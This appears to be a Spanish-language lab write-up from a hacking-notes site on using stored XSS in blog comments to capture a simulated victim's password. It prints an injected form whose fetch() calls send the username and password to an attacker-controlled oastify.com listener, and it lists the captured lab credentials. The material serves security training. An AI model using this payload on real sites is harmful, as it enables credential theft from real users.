> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/web/xss/password-capture-via-xss.md).

# Captura de contraseñas mediante XSS

### Aprovechando el Cross-site Scripting para capturar contraseñas

Este laboratorio contiene una vulnerabilidad XSS persistente en la función de comentarios del blog. Un usuario simulado (víctima) consulta todos los comentarios después de su publicación. El objetivo educativo es aprovechar este fallo para exfiltrar el nombre de usuario y la contraseña de la víctima y luego conectarse con estas credenciales.

Se inyecta un pequeño formulario en un comentario. Cuando la víctima introduce su información, `fetch()` las solicitudes envían los valores a una URL controlada por el atacante, lo que permite capturar las credenciales del usuario.

Formulario inyectado

```html
Usuario:
<input name="username" id="username"
onchange="fetch('https://oa2pwdff52rm383bb9abv5myepkh87ww.oastify.com?username=' + this.value)">
<br><br>

Contraseña:
<input name="password" id="password" type="password"
onchange="fetch('https://oa2pwdff52rm383bb9abv5myepkh87ww.oastify.com?password=' + this.value)">
```

* El formulario anterior provoca el envío de `username` y `contraseña` los campos a la URL de escucha con cada modificación (`onchange`).

<figure><img src="/files/391e08c744fb051a805a9327041793bc44390e77" alt=""><figcaption></figcaption></figure>

Credenciales capturadas:

* **Nombre de usuario:** `administrator`

<figure><img src="/files/ac2b0ee4a7c181e393af1fbb9bd334d94f17ed8d" alt=""><figcaption></figcaption></figure>

* **Contraseña:** `qzkcz73zlwri7yiwpf31`

<figure><img src="/files/b1ae21bda2c0da4f541c1d6347140646aada91ac" alt=""><figcaption></figcaption></figure>


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